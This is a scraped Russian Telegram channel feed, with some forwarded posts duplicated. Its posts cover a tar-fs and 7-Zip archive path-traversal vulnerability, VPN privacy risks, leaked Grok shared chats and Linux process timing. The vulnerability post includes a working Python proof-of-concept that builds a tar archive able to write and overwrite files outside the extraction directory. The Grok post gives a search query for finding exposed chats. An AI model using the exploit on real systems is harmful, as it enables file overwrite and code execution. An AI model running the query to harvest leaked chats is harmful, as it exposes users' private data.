Forwarded from Технологический Болт Генона
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
😁1
Технологический Болт Генона
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога https://www.opennet.ru/opennews/art.shtml?num=63740 В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива…
Telegram
Блог*
#prog
Dot Dot Considered Harmful, или почему в Fuchsia нет .. в составе путей.
TL;DR: проще контролировать доступ к файловой системе.
(thanks @alurm)
Dot Dot Considered Harmful, или почему в Fuchsia нет .. в составе путей.
TL;DR: проще контролировать доступ к файловой системе.
(thanks @alurm)
👍7🤡2
Forwarded from Too Long, Did Read
Страшилка про VPNы
Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента.
Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE).
Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”.
Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло.
Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай.
В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д.
- Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024.
Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки.
Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств.
- Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”.
В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google…
Очень подробный технический разбор этого кейса.
- В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN.
Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим.
По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось.
Какие можно сделать выводы из подобных историй?
Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом.
Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку.
Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало.
Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать.
Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений.
Честно говоря, что со всем этим глобально делать я не знаю.
Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так).
И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае.
Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже.
Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета.
А вы как думаете?
Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента.
Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE).
Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”.
Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло.
Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай.
В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д.
- Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024.
Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки.
Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств.
- Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”.
В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google…
Очень подробный технический разбор этого кейса.
- В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN.
Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим.
По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось.
Какие можно сделать выводы из подобных историй?
Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом.
Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку.
Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало.
Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать.
Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений.
Честно говоря, что со всем этим глобально делать я не знаю.
Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так).
И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае.
Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже.
Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета.
А вы как думаете?
😭9🤔4😁2🥴1
Forwarded from Добрый вечер, я диспетчер
This media is not supported in your browser
VIEW IN TELEGRAM
Это мимо меня пролетает жизнь
🌚13😭7
Forwarded from лингвист реалист
Уведомление от банка, которое мы заслужили. В России ещё что-то можно делать? Ну там срать, дышать, спать хотя бы?
А раньше первое сентября было про ручки, знания и "линейки"...
А раньше первое сентября было про ручки, знания и "линейки"...
😢22❤7🤡5😁4👍1🤯1
😁8👎1
Блог*
Ещё один #prog квиз, на этот раз про конструктор Date в #js: jsdate.wtf (лично я набрал 9/28)
Папищек подсказал про #prog квиз по email-адресам:
e-mail.wtf
Я набрал 15/21
(thanks @bushes_in_my_mind)
e-mail.wtf
Я набрал 15/21
(thanks @bushes_in_my_mind)
❤5😁5
Forwarded from Не баг, а фича
⚡️ Сотни тысяч переписок с Grok внезапно ОКАЗАЛИСЬ в Google — расследование Forbes показало, что в открытом доступе лежат пароли, рабочие документы и личные данные пользователей.
Причина проста: если нажать кнопку «поделиться» в чате, то диалог автоматически становится доступен по уникальной ссылке и индексируется поисковиком.
Ирония в том, что совсем недавно официальный аккаунт Grok в X высмеивал OpenAI за «утечки» в ChatGPT и уверял, что у них такой функции нет.
Сейчас единственный способ спрятать переписку — удалить ее. А найти их можно простым поиском:
@bugfeature | #grok
Причина проста: если нажать кнопку «поделиться» в чате, то диалог автоматически становится доступен по уникальной ссылке и индексируется поисковиком.
Ирония в том, что совсем недавно официальный аккаунт Grok в X высмеивал OpenAI за «утечки» в ChatGPT и уверял, что у них такой функции нет.
Сейчас единственный способ спрятать переписку — удалить ее. А найти их можно простым поиском:
site:grok.com/share (любое слово)
@bugfeature | #grok
🤯8😁4❤1
#music
rainbowdragoneyes.bandcamp.com/track/the-frozen-light-glacial-peak
(сама игра, из которой саундтрек, весьма хорошая, советую глянуть)
rainbowdragoneyes.bandcamp.com/track/the-frozen-light-glacial-peak
(сама игра, из которой саундтрек, весьма хорошая, советую глянуть)
Rainbowdragoneyes
The Frozen Light (Glacial Peak), by Rainbowdragoneyes
from the album The Messenger (Original Soundtrack) Disc I: The Past
🔥1🤔1
Для процессов (по факту,
Как получить
Как получить
#бомбёжкипост
task_struct
) в Linux отслеживается два времени с момента запуска: start_boottime
, который включает в себя время, пока система была в состоянии сна, и start_monotonic
, который не включает.Как получить
start_boottime
из юзерспейса? Через /proc/{pid}/stat
, где это 22-ое поле в строчке (правда, только с округлением до тиков, по умолчанию 100 тиков в секунду).Как получить
start_monotonic
из юзерспейса, буквально соседнее поле в task_struct
? А никак.#бомбёжкипост
🔥12😁8🤔2😭1
Generative Anton
Никогда такого не было, и вот, опять.
Очередная #ml #suckassstory, видимо
🤡19💯2